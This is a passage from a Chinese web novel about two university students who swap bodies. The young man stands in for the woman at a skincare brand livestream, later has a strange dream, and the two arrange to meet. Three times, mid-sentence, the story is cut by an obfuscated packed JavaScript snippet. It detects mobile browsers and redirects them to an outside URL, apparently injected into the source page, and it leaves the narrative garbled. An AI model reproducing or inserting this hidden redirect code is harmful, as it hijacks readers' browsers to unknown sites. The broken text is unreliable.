上一次突然互换后惊慌失措，加上两个人都有事要忙，这种尴尬的感觉还不明显。这次两个人再次站在同一个房间里，沉默的气氛仿佛凝固了时间，两个人都有点不知如何开口。 “我先去407了。”柏随远打破沉默。 华可吟想了想说：“我明天有直播活动，你今天一定要早睡。” “回去就睡。”柏随远点头答应，去房间门口的衣柜取下外套披上。 两人换过手机后，华可吟把柏随远送出了房门。 躺到床上，柏随远思考着每月互换的情况。突然，下腹传来一阵涨意，他顿感不妙。又过了几分钟，那股感觉越来越强烈，他盯着天花板犹豫许久，最后还是拿起了手机给华可吟发消息。 —road：我去上厕所了。 刚把衣服一层层又脱到只剩睡衣裤的华可吟收到这个消息很是无语，他偷偷上了自己也不会追究啊，怎么还专门发消息报备。不知道对方是不是已经憋了一段时间，可千万别把她的膀胱憋坏了。 —sing：赶快去【怒】 浴室里，柏随远已经站到了马桶前，收到信息才把手机放在一边洗手台上。 他动作僵硬地解开睡裤，眼神紧盯前面的墙壁。坐上马桶，一阵难以形容的感觉过去后，取出纸快速擦了两下便提上了裤子。 努力把脑袋放空，不敢去想刚才干了什么。 柏随远木木地走到床上又躺了下去，接着酝酿了很久都没有睡意。 他觉得华可吟的身体似乎没有他的那么好入睡。 另一边，华可吟也尽量不去想另一个房间发生的事情。她分别定了9:30和10:38的闹钟，却翻来覆去睡不着。 是不是柏随远的身体本来就很容易睡不着？ 两个人不约而同地，把今天心烦意乱睡不着的原因下意识怪到了对方身体上。 借用他的身体小小熬下夜吧，华可吟负罪感稍减，又找出产品话术的文档背了几遍。 * 酒店厚实的窗帘没有透过一丝恼人的阳光，柏随远的生物钟太过精确，不到八点华可吟就醒了，再次尝试入睡也没睡着。百无聊赖地刷了会手机视频，直到八点多收到柏随远的消息，两人才分别下楼吃了酒店的早饭后回到了放着华可吟行李的房间。 翻出了今天要穿的衣服，羽汇那边要求华可吟下午四点到达现场。 “你今天有什么安排吗？不会耽误了吧。” “图书馆，不耽误。” 华可吟经过这几次相处已经明白了柏随远就是这样话很少的性格，不啰嗦的表达其实还挺节省时间。 “那就行，下个月可能还会有，到时候我们就能有所应对了。” 柏随远颔首，两个人又面对面坐着玩手机等十点四十的到来。 手机铃响，两人闭眼等待换回，熟悉的晕眩却没有按时到来。 华可吟睁开眼，柏随远的脸色也很难看。虽然心里很是慌乱，但华可吟发现自己脸上的严肃表情居然陌生得有点想笑。 “看来这次不是十二个小时。”柏随远很快恢复了平静道：“按照上一次互换间隔的规律，很有可能还会在某个整小时换回。” “可是我今天下午要去参加直播。”华可吟立马想到了自己工作。 “还可以调换时间吗？”其实柏随远还不知道华可吟说的是什么性质的直播，他也下载了华可吟经常发布动态的两个app，但没有时间频繁使用，要不他早该知道了——华可吟几天前就发布过直播预告。 “这次是和品牌的合作，工作人员和我都准备了很久。”华可吟摇摇头，很认真地说：“可能又要麻烦你了”。 “应该的。”柏随远点开华可吟分享的品牌视频开始查看。 他知道华可吟对待工作有多认真，上次她连夜都要剪辑的视频、面面俱到的公关文案、桌子上做满标识的流程笔记，这个女孩远比她看上去沉稳干练得多。 “就是这款面膜，今天直播主要有几个环节：先介绍品牌的背景，加入一些我自己的护肤经历。然后引入这款面膜的研发故事、具体功效以及直播间优惠。接着她们会给我卸妆，介绍一段品牌的主打品卸妆油。接着回答几个直播间的问题，最后助播会再介绍一遍产品特点和购物机制，我只用在旁边试用面膜当吉祥物。” “需要你多发言的就是自我介绍和分享环节，还有对于品牌的一些看法、对于面膜使用的感受。所有的文稿都在这里，这几张纸、包括这个常用话术的应答都得背会。” 华可吟介绍的时候非常流畅，每一个数据、每一句话她都已经熟记于心，讲解到最后她自己都觉得，今天今天如果八点前没有换回来，无法“亲脑”参加直播活动有点可惜。 看着眼前顶着自己的脸神色飞扬的人气压突然低了下来，柏随远不知道如何应对，他只能点头表示自己听懂了，然后保证：“我会记下来。” 他的记忆力不错，读了几遍就能够默背。今天之前他完全不知道商场里的面膜的成分宣传地这么夸张，里面居然有不少不科学的话术。也没想到一场护肤品直播有这么多需要注意的地方，还得保证不能从华可吟的口中说出什么不适合的话。 两人在边桌前复习，华可吟突然想上厕所，她已经很控制摄入水分了，但从昨晚到现在已经过去了十几个小时。 “我去上个厕所。”华可吟尽量让自己的语气正常起来。 柏随远不知道该说些什么，他继续低着头背，控制住自己的眼神不要去看那人的背影。 两个人对接下来会发生的事都有点害羞。 华可吟脚步虚浮地走进卫生间，关上门的时候专门放缓了动作减小声音。 手心微微发汗，视线专门避开了上下亮着灯光的大镜子，有种难以言喻的尴尬，她现在不是很想面对这张脸。 脑海里蹦出不少关于上厕所的营销号视频，男生似乎也最好是坐着上厕所。她抬手解开扣子，接着闭着眼动作利落地一把脱下了裤子坐上马桶，身下却觉得有什么东西被挡出了。 努力习惯这种多出了点什么的异样感觉，她镇定分析，好像卡在了马桶圈上。 深呼吸。 深呼吸。 她睁开眼睛，努力把这幅身体的主人此刻就在一墙之隔的想法抛出脑外。她觉得这一动作实属冒犯，但还是无奈地伸出了一根指头，动作缓慢地轻轻压住，这才顺畅又卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334482|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生地解决了生理需求。 做完这个动作，华可吟感觉自己仿佛突破了一道枷锁，如释重负，随后的动作变得很流畅。拿起纸擦拭了一下，站起来很平静地提上裤子、扣好纽扣，仔细认真地搓洗了手，心里默念总要习惯。 出来时柏随远还是那个动作，两个人的脸都红红的。 “空调温度有点高哈。”华可吟拿起遥控器把空调温度降低了点，一阵冷风吹过两个人同时打了个寒颤。 “你，你看得怎么样了。”华可吟继续问道。 “还可以，要排练一遍吗？”柏随远可以确定自己已经掌握了这几页纸的内容。 华可吟回想昨天助播可可的节奏，挑出晚上直播的重要环节和柏随远排练了一遍。没想到柏随远记忆力和口条都不错，华可吟不安的心放下了一点，她看着眼前满脸认真的自己，突然想到了些什么。 “嗯...直播的时候要多笑笑。” 柏随远眼睛微微张大，停顿了几秒才问道：“要怎么笑。” 华可吟当即开始示范，先露出一个端庄的抿嘴笑，说道：“不说话的时候这么笑。” 又用手挡在嘴巴前，露出一双弯成月牙、笑意盈盈的眼睛说道：“助播和你互动的时候这么笑。” 最后她笑出一个八颗牙齿的完美表情说：“对着放大的镜头展示的时候这么笑。” 认真观察不同笑容在自己脸上展示完的柏随远觉得颇有些挑战，但还是点点头道：“可以。” 说完两个人一起走到了浴室大镜子前，对着镜子练习。 “有点僵硬。”华可吟摇摇头。 “有点奇怪。”华可吟眨眨眼。 “要不就只微笑吧。”华可吟让步。 “不，我再练习一下。”柏随远很认真地说，他觉得华可吟的笑容结合她讲述的画面，确实每一个都刚刚好。 只不过这么多类型的笑容，让平时总是不习惯表露情绪的柏随远一时难以习惯。 他继续对着镜子练习，有时还上手调整一下苹果肌和嘴角。 看着那张越来越僵的脸，华可吟忍不住捧腹大笑：“哈哈哈，还是捂着嘴笑吧，你只用眯眼就行。” 柏随远从镜子里看着对方即使在自己的身体里也轻而易举露出的爽朗大笑，心里对自己有点不满意：“我再练习练习。” “那，那也行。”华可吟轻声应道。她忽然想起这几次和柏随远相处的场合，他似乎每一次都在认真做着手里的事。甚至，认真得过了头。那天公选课的最后她无意间瞟到了柏随远眼前的笔记本，他甚至连电影鉴赏课都做了课堂总结，还是那种条理清晰，结构完整的字数不少的笔记。 果然是学霸... 时间不知不觉就到了下午两点四十，虽然不想打扰柏随远正对着镜子假笑着演练护肤心得的模样，华可吟还是站起身走进卫生间说：“还是没换回来，有可能要持续18个小时或者24个小时了。咱们准备准备吧，等会再去楼下找家理发店洗头。” 柏随远抿了抿唇，又看了几眼镜子后还是回答了一句“好”。他觉得自己嘴角的弧度仍旧无法达到华可吟随手发挥的那样完美，觉得有点遗憾，也许再多练习练习会更好。 “我们去对方公司后更要注意，不要在突然换回来的那一刻出现什么意外举动。”华可吟又提醒一句，说着话从行李箱里拿出了两个肉色的圆形物品。柏随远虽然不知道这个果冻一样的东西究竟是什么，但也大概猜到了用处。 9. 换衣服 他的耳朵以肉眼可见的速度变红，但也坚持没有移开视线，他知道必须得接受这种羞耻感才能让两个人的生活都运转顺利。 “今天直播要穿一条紫色的礼裙。”华可吟解释道：“必须得用胸贴，先贴好，等到了地方再换衣服。” “嗯，我闭眼了。”说着，柏随远站起身很快速地闭上了眼睛。 其实想让对方先自己把衣服脱掉的华可吟：...... 无奈地叹了口气，华可吟低头用纤细的手指一颗颗解开了粉色睡衣的金属纽扣。看着眼前自己的身体一点点展现在面前，手下皮肤的颜色逐渐变红。 这种感觉太奇怪了，房间里的气氛逐渐湿热，华可吟忍不住又抬头确认了一遍那张脸，更诡异的是面前女孩正咬着唇好似一脸娇羞的模样。 ？ 这是她吗？ 她从没想到自己的脸上居然会露出这种表情，更没想到做出这副表情的是平时仿佛面瘫的柏随远，华可吟手下一抖，差点扯掉扣子。 想到柏随远，现在自己正在用他的手解扣子。 更热了，即便空调已经调到了21度，两个人脸色还是通红。 上身的衣服被脱掉，柏随远觉得自己能感觉到华可吟的视线化作实体在身体上移来移去，心里酥酥麻麻的。 发现自己上半身有点变化的华可吟：...冷风吹的吧。 今天的她屡屡感到无语。 一不做二不休，华可吟按下异样还是决定快点换衣服，不要迟到了。她拿起胸贴上手熟练地贴好，拢起来后把胸贴前的两个挂钩钩在一起，这就算穿好了。 柏随远被突然抚上来的冰凉触感吓得一晃，眼睛下意识地睁开就看到面前熟悉的头顶俯身正好在眼前。他赶紧又闭上了眼睛，努力不去感受这种有人正摆弄着他的身体的感觉。 “抬手。”给柏随远套上了件宽松的白色厚卫衣，华可吟把找出来搭配好的运动裤递给了他：“裤子你自己穿吧。” 她现在得把自己里面套着的格子睡衣也脱掉，柏随远的毛衣并非高领，会漏出来里面睡衣的翻领。 她今天要一起跟去直播现场，穿得太不得体有点给“华可吟”丢脸。 想到这儿，华可吟也快速套好了毛衣，又进了卫生间拿起梳子，梳了梳柏随远的短发，戴好了眼镜。 看着镜子里带着黑框眼镜帅气斯文的帅哥，嗯，这个男人带过去也不丢人。 偷偷关注华可吟利落的动作，正在缓慢穿着裤子的柏随远思考自己是否太过扭捏了，也加快了速度换好睡衣裤叠放在了床角。 收拾妥当后，华可吟带着柏随远出酒店找了最近的理发店。 “洗头不做造型，多少钱？”华可吟对着迎上来了理发店小哥问得很直接。 “办卡25，不办40。” 华可吟转头问柏随远：“你的要洗吗？” “不用。”柏随远摇摇头。 原来是这个帅哥来洗啊，理发店tony也给不少男顾客做过造型。 “这边请。”负责洗发的助理给华可吟指引方向，跟上来的却是那位美女，你刚不说不用吗？ 看着对方跟去了侧面房间洗头，华可吟坐在了理发店一排沙发上玩手机，提前查看这个时间段好不好打车。 躺在里面的柏随远则是经历了有史以来理发师话最多的一次服务。 “美女你发质很好，就是有点干，要不要做次护理啊。” “不用。” “美女你做染烫吗？我们现在办卡有活动的。” “不用。” “美女，真的不用吗？要不您配合我们拍条视频吧，染烫就不收你钱了。” 拒绝多次仍无法让眼前人闭嘴的柏随远无言以对，他去剪头发时有些店铺也会推销办卡，可都没这个店员这么积极。 这难道不是店员，而是店长？ 眼前的美女从洗完发后神色就十分冷淡，理发师吹发间隙看看美女的脸，又看看坐在沙发上玩手机、一点也没往这边瞧的华可吟。 看着也不是很贴心啊，难道只靠帅就能追到这么难以接近的高冷美女吗？ 不做造型、又没染烫过的黑色长发一会就吹干了，两个人坐上华可吟提前打好的车，在三点四十就到了羽汇公司所在的写字楼。 羽汇的工作人员收到消息后就下楼刷卡把两人带了上去。工作人员对华可吟的印象很好，昨天和今天到得都很早，合作是也很高效率有礼貌，工作态度非常好。 旁边那个似乎就是美女的男朋友了，两个人还挺配的。 羽汇在挑选合作人时也做了背调，知道上次的风波，工作人员心道这估计就是照片里那个男朋友。 “年轻人啊，真好。”工作人员晃着头心中感叹，这种甜蜜的校园恋情是最真挚的时候了。 交接了几句后，柏随远就被带到了一面四周全是白色大灯泡的镜子前，他只用坐着就好，有一个化妆师来给他化昨天确定好的妆容。 用粉扑打完底，华可吟的这张脸都没什么瑕疵可遮，水嫩嫩的带着青春的光泽，化妆师不禁夸起来：“华小姐，您的皮肤真好。” “谢谢。”柏随远闭着眼回应。 化妆师看着眼前女孩僵硬的动作和毫无波澜的语调，怎么和昨天的感觉不太一样，她开口道：“不用那么紧张，有什么紧急状况她们也会立刻解决的。” “谢谢，我是有点紧张。”感受到了对方的安慰之意，柏随远把语调放缓说。 接着到了要画眼妆的步骤，柏随远低头看着眼前化妆师挑出的几盘紫色系眼影，难以想象上脸会是什么样的，心里很没底地听话闭上了眼。 等到化妆师说完好了，他才睁眼看向镜子里的自己，居然效果还不错。 似乎没有这么认真地观察过华可吟的外表。镜子里的女孩因为冷色妆容的原因，气质相比起平常的姝丽多了些清冷，也更加仙气飘飘。即使芯子换成了总被吐槽没表情的柏随远，他依旧觉得镜中的那张脸眼波流转，顾盼生辉，看着看着居然有点脸红。 “看上面。”化妆师突然发出这样的指令。 感觉到刷子无限接近自己的眼球，柏随远忍不住眨了眨眼。 “不会进眼睛的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334483|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。”柏随远忍着难受经历了画下眼睑、卧蚕，化妆师还给他贴上了假睫毛。眼皮比往日更沉，原来女生化妆这么复杂。 柏随远又看向镜子，好像除了眼睛嘴巴颜色以外也没什么变化啊。 这时另一个工作人员拿着一件淡紫色短裙走了过来，对着柏随远说道：“可吟，就穿昨天定好的这件了。” 柏随远接过裙子走进幕布搭成的小试衣间，里面有个全身镜。他背对着镜子脱掉了自己身上的卫衣卫裤，套上了那条整体紫色、上面有细细白色点缀的珍珠小礼裙。 裙子非常合身，以至于拉拉链时需要从堪称刁钻的角度用力。柏随远长长呼出一口气，转向了镜子，集中注意只看侧面拉链，不去管衣服缝隙中露出的白皙和线条。 最后穿上了一条华可吟中午给他装好的安全裤，他觉得自己像个小时候在超市看到过的芭比娃娃，还是由自己亲手穿衣打扮的芭比娃娃。 一出换衣间，柏随远看向了玻璃门外和几个工作人员正聊的开心的华可吟，真是个和陌生人都能够相处得如鱼得水的人。 不过，她是不是对自己太放心了？ 两个造型师一起给他盘了一个侧丸子头，又烫了烫前面分出来的几缕碎发，卡上了几个亮亮的水晶夹。 等到所有造型都做完，华可吟才姗姗来迟，看着镜子里的女生点点头说了句：“不错。” 旁边的化妆师听到这个形容词，心道这小伙子刚看着还挺聪明的，怎么一点都不会看人：“是美极了。” 读懂了摄影师的眼神，华可吟不好意思地自己夸自己：“哪里都好看。” 看来只是年轻人比较害羞啊，化妆师露出姨母笑。 又和可可以及中控排练了一遍，时间很快就到了七点五十。 柏随远跟随助播小姐姐坐在位置上，直播台的布置比他想象的复杂很多。目光所及之处坐着很多或看屏幕或戴耳机的工作人员，前面支着好几个屏幕，一个正显示着现实即时摄像画面的屏幕，还有直播开启后可以看到弹幕的以及提词器。 柏随远突然更紧张了，虽然他参加过不少需要上台展示的比赛，可这次是他不擅长的领域，他甚至有点害怕无法承担在华可吟身体里做错事，产生让他无法完全独自承担的后果。 华可吟也坐在前排的凳子上，看到柏随远往这边看，她举起手打了个气，用口型说了声“加油！” 如此元气的自己的身体很奇怪，但是里面是华可吟。 感受到华可吟的信任，柏随远也恢复到了平日的自信，平静地将自己的正脸对准镜头，他想做的事没什么做不到的。 “五、四、三、二、一。” 随着中控的声音，直播间开启了。 “大家好，欢迎来到羽汇的官方直播间。我是今天的主播可可，我的身边呢，就是今天直播间的重磅嘉宾——华可吟！” “欢迎可吟，我们可吟先给屏幕前的粉丝朋友们打个招呼吧～” 换上练习了一整天的笑容，柏随远说出已经背熟了的开场：“大家好，我是可吟。很开心，也很幸运今天能来到羽汇的直播间。” 10. 直播刷屏 可可迅速跟上：“观众们非常热情啊，我们可吟今天也给大家带来了羽汇的面膜新礼盒。” 看着飘过的弹幕，大部分都是在欢迎嘉宾的出场，柏随远也逐渐进入了状态。 直播进行得非常顺利，介绍自己和夸奖品牌的文稿被富有感情地背出。 中途还抽过几次奖，发过几次代金券，虽然弹幕很人机，但是气氛被炒得很不错。 华可吟坐在台下默默放下了心，她不想在直播开始前给柏随远太多压力，所以尽可能地表现得很正常。 但她心里还是挺忧虑柏随远在直播时出什么差错的，现在网络传播的速度太快，一点小失误都会在镜头前扩大数倍。 更何况这是她第一次参加品牌直播活动，这场直播最后的观看量和成交量甚至会影响到她以后接洽此类活动的报价。 “那么接下来可吟在弹幕里挑几个问题回答吧，我看到我们粉丝都非常热情。” 到了回答弹幕问题的时候，一派祥和的直播间却突然冒出了很突兀的内容。 “劣质主播。” “她不是被包了吗？” “穿那么短的裙子，来直播间钓大哥？” “被甩了呗，女网红哪有干净的。” “卸了妆丑丑丑” ...... 看着越来越过分的留言，柏随远脸色未变，心里却有点紧张。那些弹幕仿佛看出了他的沉默，刷得更疯狂了。 柏随远受到过最直接的恶意就是陈东阴阳怪气的那个程度。他从小都是直升重点学校，父母矛盾少，老师关爱，最大的挫折就是成绩退步和某些科目的压轴题做不出来，以及跳不好舞、爬不好树...加上他对待外人一直不亲近，和他人的交流很少。 生活在校园象牙塔里他，其实远没有华可吟坚韧。 助播可可见状，及时读出了提词器里早就准备好的问题：“那可吟在平时会以什么样的频率使用面膜呢？” 柏随远迅速回神，微笑着回答：“每周都会使用的，换季的时候一周用两三片。比如我们这个补水面膜，我就很喜欢在干燥时...”。 华可吟紧张地看向坐在灯光下的人。她也一直在用手机观看直播间，那些言论起初数量太大，管理花费了一些时间才全部拉黑。 柏随远肯定没怎么见过这种场景吧，在一举一动都暴露在数千观众目光下时突然看到这么多负面评论，那滋味肯定不好受。 实物展示完外包装，柏随远敷上了淡蓝色的面膜，助播可可在旁边流畅地说着这次的直播优惠，底下的中控回应得也很卖力。 一直全神贯注直播的柏随远总算可以歇一口气，他觉得今天自己说的话比以往一个月加起来都多。 他眨眨眼，心里因为刚刚提问环节的一瞬间冷场有些愧疚。旁边的工作人员会不会因此觉得华可吟能力不足，会不会因为自己的表现害华可吟失去后续可能的工作机会。 他找机会看向坐在那里的华可吟，华可吟见到柏随远望过来，露出了一个八颗牙齿的开朗的笑。 柏随远立马转回了目光，脑袋里全是对方讲述流程时神采飞扬的样子。 “欢迎今天可吟来我们直播间和‘羽汇’的粉丝朋友们见面，那么今天我们的直播真的要到结尾了，可吟还有什么想说的吗？”可可的声音在两个小时不间断发声后还是充满活力。 “感谢各位对我的支持，也谢谢‘羽汇’给我这次和大家见面的机会，谢谢大家。”柏随远真诚地在镜头前道过谢后和助播一起微笑着等待后台关闭直播间。 周围的几个人鼓起掌，华可吟也上前扶上了柏随远的手，对方看起来有点低落，华可吟猜测是这种高集中度的直播累到了他。 在脱礼服时，柏随远遇到了点麻烦。他下意识想叫华可吟来帮他拉下拉链，考虑到两人现在的身份后，还是深吸了一口气让不远处的造型师帮了忙。 “可吟、随远，下次活动再来玩啊，今天的效果很好。”工作人员把两人送下电梯道别。 柏随远听到第二个名字的时候惊讶转头看着热情挥手的“自己”，原来几个小时她就可以混得这么熟。 “十点半了，我们先回酒店吧。”华可吟看看时间道。 “嗯。”下午六点四十没有等到预想的互换，两人怀着希望等待互换24小时那一刻是否能够归位。 果然，两人在出租车上同时感到头痛，没几秒钟就回到了各自的身体。看了看前排的司机，两人默契地对视了一眼后什么都没说。 附近的写字楼很多，这个时间段马路上的车也不少。行驶的车辆频繁加速减速，后座的两人都忍不住闭眼靠在靠背上，忍下那股晕车的欲呕感。 稍微好了些，司机提起了速度。华可吟睁眼看向车外仍旧灯火通明的一幢幢大厦，黄色的路灯在车辆的速度里连成一道明亮的线。 思绪有点放空，一时想到想起坐在远处看柏随远直播时的场景。从她的角度来看，自己的脸笑得真假啊。 互换到底还有几次，这样的意外会给自己和柏随远的生活带来很多不便，不是每次都能保证毫无关系的两人可以见面。 华可吟想到这里心思纷乱，摇摇头朝另一边看去，柏随远居然睡着了，闭着眼仰躺在皮质靠背上的他出乎意料的显得很柔和。 半小时后网约车到达了酒店门口，华可吟微微前倾轻声说：“柏随远，到了。” 柏随远睡得不熟，一听到声音就睁开了眼，车外散进来附近的灯光，昏暗的环境下像给华可吟的轮廓打上了一层柔光。 “...好。”柏随远鲜见的略显呆愣。 “走吧。”华可吟利落提着自己带去的大包下车，注意到了柏随远刚刚缓慢的应答，心想：柏随远的睡眠质量还挺好的。这种短时间高效深睡眠是不是有助于增强记忆力？要不今天下单一点保健品吧。 柏随远紧随其后下车，看了前面女孩提着一个鼓鼓囊囊的托特包后上前接过，“我来拿吧。” 华可吟没扭捏这些：“谢谢啦，我们先去我房间谈谈吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334484|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 已经进入了大厅的两人谈话吸引了正在收拾前台的工作人员。感受到两三人的目光朝自己看来，柏随远想起上次被偷拍造谣的事，提起速度几个大步走向电梯。 看着前面飞快的背影，华可吟迷茫的望望两边，对上工作人员善意的目光，她也回了浅浅的笑容，才进入了柏随远正按着按钮等待的电梯。 “这次是相隔30天，持续24小时。”华可吟边刷卡进入边说。 柏随远接道：“下一次互换可能会是36小时或者48小时。”。 听到这越加越长的时间，华可吟不禁捂着脸瘫倒在椅子上喊道：“到底什么时候是个头啊！” “一月十四号，正是寒假期间，我家在云州市。”柏随远也有点对于未知情况的动摇，但他很快压下无用的情绪，继续冷静地说：“我觉得我们最好先不要告诉家人。” “我家在上阳市。”华可吟的情绪又开心了起来，上阳市和云州市在同省，相距不远，即使下个月发生什么意外事件，两个人汇合也不会很难。 想到对方刚刚的第二句话，华可吟又犹豫道：“我告诉了我的好朋友。” 柏随远皱皱眉，最后还是没有指责或者追问对方为什么，而是开口道：“要保证对方不会外传，接下来就不要再告诉任何人了。” 华可吟说出来后舒了口气，那天告诉程雨濛后她也有点犹豫。互换是她和柏随远共同的秘密，她应该在说出来之前询问一下对方的意见的。 她刚刚已经做好了说出来后会被责问的准备，没想到柏随远比想象中好说话。 “她是我多年的好朋友，绝对不会外传的。”接着，华可吟像是要增加自己和好友的可信度补充道：“她叫程雨濛，是S大艺术院的，和我们同级。” “嗯。”柏随远没在意对方的身份，从几次见面华可吟表现出来的镇定聪明，他愿意相信对方的判断。 “今天先住在酒店吧，我明天还有早八，你呢？”华可吟想到明早一上午被排满的课表，嘴角垂了下来。 柏随远本想趁此提起自己今天在直播过程中的瑕疵，看到对方疲倦的神色后，还是决定明天再说：“我明天也有课，寒假瞒过家人的事找机会再详谈。” “好，快去休息吧。” 华可吟快速卸完妆，回复了手机上羽汇工作人员又发来的“合作愉快”的消息，又把自己的随身物品、衣服都收好到一个小行李箱，干完这些都已经快一点了。 她计算了一下明天早上打车需要四十多分钟，还要先去宿舍放下箱子再出门，留下那堪堪几小时睡眠。 休息不够的大学生啊。 抱着被子翻来覆去翻滚了好几圈，最后只能深呼吸在心里默念：不要想其他的了，明天回学校继续好好学习。 另一个房间里，柏随远想到明天需要先回寝室拿电脑，倒不像华可吟那样一边倒数小时一边心虚，而是订好了一个闹钟就闭上了眼平躺在整洁的床上。 他很快就进入了睡梦，梦里的剧情却略显怪异。 11. 奇幻梦境 一个比人还高大的雪白兔子出现在柏随远面前，正一蹦一跳地带着他往前跑去。 兔子速度越跑越快，在一个狭窄的转角直接将他一人留在了小巷子里。 他连忙加快脚步去追逐，巷子的高墙外却传来了嘈杂的、夹杂着男女老少无数声线的、各种内容的指责。 柏随远努力不去听，那些内容在梦里却变成了一条条实体的文字，像一阵被风吹过的细叶一般飘进了他的脑袋。 柏随远捂住耳朵，却仍缓解不了文字钻进脑袋里，如缝衣针猛刺他大脑般的疼痛。 忽然，耳边一阵毛茸茸的触感，柏随远睁开眼发现自己已经疼痛到瘫坐在地，面前正是刚刚那只大兔子正用自己的大耳朵捂住他的脑袋，十分舒服。 这是兔子居然是黑色眼球，还有浓密的黑色睫毛，像是某个漫画里才会出现的风格。兔子的眼神清澈，眼神里水汪汪地盯着柏随远。 柏随远的疼痛被缓解，缓慢地睁眼后发现眼前原本属于兔子的位置上变成了正用手抚在他脑袋两边的华可吟。 华可吟的脸上此时有着陌生又熟悉的笑容，目不转睛看着她的神情居然有种说不出的奇异。 柏随远像是被什么秘法控制了心神，脸慢慢凑了上去，观察着眼前逐渐放大的华可吟眼瞳里自己的倒影。 近一点，再近一点。 直到被女孩推开柏随远才回神，周围居然变成了办公室搭成的直播布景里，柏随远一转头就看到了正在轮放弹幕的大屏。 面前的华可吟穿着下午那身仿佛精灵下凡的紫色裙子，头上、脸上的装饰在灯光下随着动作闪闪发光，一贯和颜悦色的脸上露出了嗔怒的表情，居然比平日显得更加鲜活娇媚，柏随远呆坐在了椅子上。 “你顶着我的脸在干什么！” 听清对方的话，柏随远不可置信地低头，自己身上居然也是那条裙子，他又转过头看摄像机里的画面，居然是两个华可吟面对面坐在椅子上，一个正面色愤怒朝前看，另一个右转直视着镜头。 “啊！”梦里的柏随远一声大叫，终于醒了过来。他打开手机，刚过凌晨三点。 梦之所以是梦，就是因为其中发生什么古怪的事都不奇怪，意识到此，柏随远已经从刚才两个华可吟的惊悚画面中平复过来。 他从小几乎不怎么做梦，今天这种醒来后对梦中每一个细节都回忆得起来的感觉更是奇怪。想到梦里自己唐突的行为，柏随远想不到自己为什么会梦到这样的自己，这样的华可吟... 第二天早晨，闹钟连响了三次才把华可吟叫醒。她迅速洗漱了一下就去酒店餐厅吃早饭，途中才想起打开微信给柏随远发消息问对方要不要一起打车去学校。不料一打开手机，居然就是对方在6点10分发来的消息。 —road：先走了。 没想到对方居然走得这么早，华可吟想了想打字回复。 —sing：我才刚醒，没想到你起得这么早。 —sing：昨天谢谢你了，羽汇的工作人员专门发消息过来说昨天效果很好，成交额也很高。 —sing：我请你下次一起去吃墨西哥菜怎么样，学校附近有家很好吃的。 坐在教室里的柏随远已经从寝室取出了书包和电脑，回到寝室后室友也都在睡觉。 本来应该是出去晨跑的时间，想了想昨天晚上睁眼到天亮，他还是决定今天不运动了直接去自习，早早到了教室。 收到微信的提示音，柏随远点开看到是华可吟的头像，黄色猫猫的圆眼睛一瞬间居然让他想起来梦里华可吟的那双。 打开聊天框，华可吟元气满满的几条消息映入眼帘。 柏随远真的觉得自己有点不对劲，为什么看到华可吟的消息，眼前仿佛就能看到她在说这些话时的表情，是昨天照了太久镜子的副作用吗？ —road：不用谢。 —road：下午有时间吗？我需要就昨天的直播和你聊聊。 过了一会，吃完早饭坐上出租车的华可吟才拿出手机回复。她觉得那句“就直播聊聊”的语气好严肃，难道是昨天做造型又直播了那么久，他不开心了吗？ —sing：我今天满课，周三或者周末可以吗？ —road：不会占用太长时间。 —sing：那今天晚饭？ —road：18:00一食堂门口见。 —sing：好。【猫咪点头】 得到应答，一直等待回复的柏随远才收起手机，准备继续看课本上的例题，思绪却越来越乱，无奈他只能又拿出手机翻看最近的新闻讯息。 * 经历了密集的一天课程后，戴着鸭舌帽的华可吟背包出现在了一食堂门口。 远远就看到了那个在人群中显得格外笔挺的身影。良好的比例与体态，让即使是背着学生气书包的柏随远，看起来也仿佛正在拍摄什么品牌海报。 S大没有什么选校花校草的传统，华可吟在这个学期也见过不少帅哥。比如话剧团的团长就很帅，可是最符合华可吟心中对青春校园印象的，就是眼前的柏随远了。 凌厉的眉眼被眼镜遮掩住，表情虽仍旧有些冷漠，周身的书卷气却显得柏随远的帅很有质感。甚至...华可吟觉得这样远远看去，白色卫衣黑色裤子，学生经典穿搭的柏随远还挺清纯的。 帅哥的清纯比潮流还更难得… “走吧。”华可吟上前叫住低头玩手机的柏随远。 “去二楼。”柏随远让华可吟先走，自己在她身后半个身位。 华可吟没想到柏随远在学校里也这么客气，顿了一下和对方处在同一水平线往前走。 正是刚下课的时间，食堂前来来回回的同学很多，她又往柏随远那边移了一步，防止被冲散。 华可吟身高168，头顶大致到柏随远的肩膀。 柏随远突然有点紧张，偷偷低瞥过去就看到华可吟帽子下漏出来的精致的鼻尖和下巴。这个在他社交习惯里有点过于近的距离，让他觉得附近 